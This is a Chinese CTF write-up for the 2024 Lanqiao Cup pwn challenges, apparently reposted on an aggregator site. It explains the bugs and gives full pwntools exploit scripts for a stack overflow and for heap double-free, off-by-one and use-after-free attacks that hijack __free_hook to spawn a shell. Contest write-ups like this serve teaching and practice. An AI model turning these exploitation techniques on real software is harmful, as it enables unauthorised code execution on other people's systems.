2024蓝桥杯初赛决赛pwn题全解

2024-06-04 22:20

本文主要是介绍2024蓝桥杯初赛决赛pwn题全解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

蓝桥杯初赛决赛pwn题解

  • 初赛
    • 第一题
    • 第二题
  • 决赛
    • getting_started
    • babyheap

初赛

第一题

在这里插入图片描述
有system函数,并且能在bss上读入字符

而且存在栈溢出,只要过掉check函数即可
check函数中,主要是对system常规获取权限的参数,进行了过滤,用$0即可

exp:

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()context(os='linux', arch='amd64', log_level='debug')
p = remote('', )
rl("restricted stack.\n")
pay=b'$0'
s(pay)rl("...\n")
pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
s(pay)sleep(0.5)
sl(b'exec 1>&0')inter()

第二题

经典堆菜单题目
在这里插入图片描述
发现没有edit功能,考虑double free。版本为2.31 09.9

挨个分析
add函数,申请堆块部分
在这里插入图片描述
只能申请0x50大小的堆块,并且能读入0x50字节的大小内容

free部分,
free之后有置零,所以不存在uaf漏洞

在这里插入图片描述
show就是个正常打印
在这里插入图片描述

漏洞是在这个函数
在这里插入图片描述

在这里插入图片描述

没有置零关键部分,所以存在uaf漏洞,因为只能申请0x50大小的堆块,所以考虑使用fastbin的double free

具体思路:
先把tcachebin填满
之后利用后门函数free一个进fastbin,然后正常再free两个堆块(第二次free的是后门free的那一个)
以此构造出double free,然后把tcache bin全部申请回来,然后再申请一个fastbin的堆块,fastbin的其他堆块就会进入到tcache bin里,因为前面已经构造了double free,所以这次可以修改fd的末位,然后就能申请出来这个错位的堆块A,修改堆块的size,然后free进unsorted bin,之后申请一个小块B,泄露libc,然后free这个小块B,再free小块A(A需要提前伪造好size位)然后申请回来A,把B的fd改为free hook,然后打free hook为system即可

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
p = remote('',)
libc = ELF('./libc.so.6')def add(c):rl("4.exit\n")sl(str(1))sleep(0.2)s(c)def free(i):rl("4.exit\n")sl(str(2))sleep(0.2)sl(str(i))def show(i):rl("4.exit\n")sl(str(3))sleep(0.2)sl(str(i))def free2(i):rl("4.exit\n")sl(str(0x202405))sleep(0.5)sl(str(i))add(b'\x00'*0x38+p64(0x61))
add(b'\x00'*0x28+p64(0x61))
for i in range(12):add(b'a') #为伪造size做准备
for i in range(7):free(i+2)
free(9)
free(10)
free2(0)
free(1)
free(0)
for i in range(7):add(b'a')
add(b'\x30')
add(b'a')
add(b'a')
add(b'\x00'*0x28+p64(0x421)) #修改size位
free(6)
add(b'a')
show(6)
libc_base=get_addr()-0x1ecf61
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
li(hex(free_hook))
system,bin=get_sb()
free(11)
free(6)
free(10)
add(b'\x00'*0x28+p64(0x61)+p64(free_hook)) #修改fd位
add(b'/bin/sh\x00')
add(p64(system))
free(10)inter()

哪里不明白,调试调试就行了

决赛

getting_started

比赛的时候,先看的这个题目,本地打通的了,远程打不通,这个随机值纯看脸,我脸黑,重开靶机10次左右,才打通,但是没血了

以时间为种子产生随机值
在这里插入图片描述

然后就是一个栈溢出
在这里插入图片描述

这个开启pie了,并且没法泄露东西,所以就正常输入随机值了
之后就是一个菜单题目
在这里插入图片描述
add函数,最大申请0x100的堆块
在这里插入图片描述

漏洞在edit里
在这里插入图片描述

在这里插入图片描述

这是先读入后判断,所以存在off by one,实际还有个null
思路就是利用off by one修改size,构造堆块重叠

利用思路
因为堆块限制的不强,所以直接free满tc,进入unsorted,之后再申请回来一部分,然后show出来libc
然后,off by one构造堆块重叠,利用重叠的堆块,修改fd,申请到free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr1():return u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('39.106.48.123', 22289)
elf = ELF('./pwn')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')def add(idx,size):rl(":")sl(str(1))rl("Index: ")sl(str(idx))rl("Size ")sl(str(size))def edit(idx,c):rl(":")sl(str(2))rl("Index: ")sl(str(idx))rl("Content: ")s(c)def show(idx):rl(":")sl(str(3))rl("Index: ")sl(str(idx))def free(idx):rl(":")sl(str(4))rl("Index: ")sl(str(idx))libc = cdll.LoadLibrary('./libc-2.27.so')
seed =libc.time(0)
srand = libc.srand(seed)a=[0,0,0,0,0,0,0,0,0,0]
for i in range(7):a[i]=int(str(libc.rand()% 80 + 32).encode())
rl("please login >>>>\n")
pay=p8(a[0])+p8(a[1])+p8(a[2])+p8(a[3])+p8(a[4])+p8(a[5])+p8(a[6])
sl(pay)libc=ELF("./libc-2.27.so")for i in range(10):add(i,0x90)
for i in range(7):free(i)free(7)
show(7)
for i in range(7):add(i,0x90)
add(7,0x20)
show(7)
libc_base=get_addr()-0x3ebd30
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()
for i in range(11):add(i+10,0x68)edit(17,b'a'*0x68+p8(0xe1))
free(18)
free(19)
add(18,0xd8)
edit(18,b'a'*0x68+p64(0x71)+p64(free_hook)+b'\n')
add(27,0x68)
edit(27,b'/bin/sh\x00\n')
add(28,0x68)
edit(28,p64(system)+b'\n')
free(27)inter()

babyheap

同样也是4个功能
在这里插入图片描述

申请给限制到0-0x60
在这里插入图片描述

有个后门可以申请一个大堆块
在这里插入图片描述
free函数中存在uaf漏洞
在这里插入图片描述

这个题目和初赛的第二题有点像,这个题目更好布置堆块
也是通过double free,修改fd的末位,不过这个要小布置一下堆块,因为这个edit会在末位填上null,申请出来错位的堆块A,修改一下size,free进unsorted,然后show出libc,取出来这个堆块(A包含的堆块),free进tc里,通过A修改它的fd为free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
p = remote('8.147.132.99',23464)
elf = ELF('./pwn')
libc=ELF("./libc.so.6")def add(idx,size):rl(">> \n")sl(str(1))rl("index: \n")sl(str(idx))rl("size: ")sl(str(size))def free(idx):rl(">> \n")sl(str(2))rl("index: \n")sl(str(idx))def edit(idx,c):rl(">> \n")sl(str(3))rl("index: \n")sl(str(idx))rl("contents: \n")s(c)def show(idx):rl(">> \n")sl(str(4))rl("index: \n")sl(str(idx))
def add2(size):rl(">> \n")sl(str(555))rl("find me\n")sl(str(size))add(0,0x60)
add(1,0x60)
add2(0x400)
add(2,0x60)free(1)
free(0)
edit(0,b'\n')
add(3,0x60)
add(4,0x60)
edit(4,p64(0)+p64(0x481)+b'\n')
free(1)
show(1)
libc_base=get_addr()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()add(5,0x60)
free(2)
free(5)
edit(4,p64(0)+p64(0x71)+p64(free_hook)+b'\n')
add(6,0x60)
edit(6,b'/bin/sh\x00\n')
add(7,0x60)
edit(7,p64(system)+b'\n')
free(6)inter()

这篇关于2024蓝桥杯初赛决赛pwn题全解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1031286

相关文章

创新、引领、发展——SAMPE中国2024年会在京盛大开幕

绿树阴浓夏日长,在这个色彩缤纷的季节,SAMPE中国2024年会暨第十九届国际先进复合材料制品原材料、工装及工程应用展览会在中国国际展览中心(北京朝阳馆)隆重开幕。新老朋友共聚一堂,把酒话桑麻。 为期4天的国际学术会议以“先进复合材料,引领产业创新与可持续化发展”为主题,设立了34个主题分会场,其中包括了可持续化会场、国际大学生会场、中法复合材料制造技术峰会三个国际会场和女科技工作者委员会沙龙,

2024年6月24日-6月30日(ue独立游戏为核心)

试过重点放在独立游戏上,有个indienova独立游戏团队是全职的,由于他们干了几个月,节奏暂时跟不上,紧张焦虑了。五一时也有点自暴自弃了,实在没必要,按照自己的节奏走即可。精力和时间也有限,放在周末进行即可。除非哪天失业了,再也找不到工作了,再把重心放在独立游戏上。 另外,找到一个同样业余的美术,从头做肉鸽游戏,两周一次正式交流即可。节奏一定要放慢,不能影响正常工作生活。如果影响到了,还不如自

潜艇伟伟迷杂交版植物大战僵尸2024最新免费安卓+ios苹果+iPad分享

嗨,亲爱的游戏迷们!今天我要给你们种草一个超有趣的游戏——植物大战僵尸杂交版。这款游戏不仅继承了原有经典游戏的核心玩法,还加入了许多创新元素,让玩家能够体验到前所未有的乐趣。快来跟随我一起探索这个神奇的世界吧! 植物大战僵尸杂交版最新绿色版下载链接: https://pan.quark.cn/s/d60ed6e4791c 🔥 创新与经典的完美结合 植物大战僵尸杂交版在保持了原游戏经典玩

Chromium 调试指南2024 - 远程开发(下)

1. 引言 在《Chromium 调试指南2024 - 远程开发(上)》中,我们探讨了远程开发的基本概念、优势以及如何选择合适的远程开发模式。掌握了这些基础知识后,接下来我们将深入了解如何在远程环境中高效地进行Chromium项目的调试工作。 调试是开发过程中至关重要的一环,特别是对于像Chromium这样复杂的大型项目。远程调试不仅可以充分利用远程服务器的强大计算资源,还能确保开发环境的一致

【2024最新版】Java JDK安装配置全攻略:图文详解

目录 1. 引言2. 准备工作2.1 **确定操作系统**2.2 **检查系统要求**2.3 **下载JDK安装包**3. 安装步骤(以Windows系统为例)4. 配置环境变量4.1 jdk配置验证4.2 **配置JAVA_HOME环境变量**4.3 **配置Path环境变量**4.4 验证jdk是否配置成功 5. 结语 1. 引言 随着技术的不断发展和更新,Java作为世界上

【团队成长】2024-25周周报-业务介绍内容创作

大家好!我们是IndustryOR 团队,致力于分享业界落地的算法技术。欢迎关注微信公众号/知乎/CSDN【运筹匠心】 。 记录人:张哲铭,某互联网大厂算法专家 【团队成长/个人成长】系列的推文会以 【工作周报】 的方式记录IndustryOR团队及其成员的成长过程,请大家一起见证和参与我们团队从0-1-N的发展过程。 记录人顺序:张哲铭-向杜兵-高欣甜-黄世鸿-许佳鸣

2024老年护理新前沿:养老实训室的创新应用

随着人口老龄化的加速,如何为老年人提供优质的养老服务已成为社会关注的重点。在这一背景下,养老实训室应运而生,成为培养专业养老人才、改善老年人生活质量的新兴平台。与传统的课堂教学相比,养老实训室能够为学员提供更为生动、贴近实际的培训体验,为老年护理事业注入创新动力。 一、养老实训室的功能优势 模拟真实环境,提升操作技能 养老实训室通过还原老年人的居住环境,如卧室、浴室等,让学员能实际操作各种日

Shell语法全解

Shell基础语法全解 一、shell简介二、shell格式2.1 新建一个shell脚本文件2.2 执行脚本方式 三、变量3.1系统变量3.2自定义变量3.3 特殊变量3.3.1 `$n` 传入变量3.3.2 `$#` 输入参数个数3.3.3 `$*`、`$@` 输入参数内容3.3.4 `$?` 上一条命令执行结果 四、运算符 `$[]`、`$(())`五、条件判断5.1判断数值大小5.

湖北民族大学2024年成人高等继续教育招生简章

湖北民族大学,这所承载着深厚文化底蕴和卓越教育理念的学府,在崭新的2024年再次敞开怀抱,热烈欢迎有志于深化学习、提升自我的成人学员们。今年的成人高等继续教育招生,不仅是学校对于终身教育理念的具体实践,更是为广大社会人士提供了一次难得的学习机会。 湖北民族大学,以其悠久的历史、优秀的师资和卓越的教学质量,早已在成人教育领域树立了良好的口碑。学校秉承“博学、博爱、立人、达人”的校训,致力于培养

▶《强化学习的数学原理》(2024春)_西湖大学赵世钰 Ch5 蒙特卡洛方法【model-based ——> model-free】

PPT 截取必要信息。 课程网站做习题。总体 MOOC 过一遍 1、视频 + 学堂在线 习题 2、 过 电子书 是否遗漏 【下载:本章 PDF GitHub 页面链接 】 【第二轮 才整理的,忘光了。。。又看了一遍视频】 3、 过 MOOC 习题 看 PDF 迷迷糊糊, 恍恍惚惚。 学堂在线 课程页面链接 中国大学MOOC 课程页面链接 B 站 视频链接 PPT和书籍下载网址: 【Gi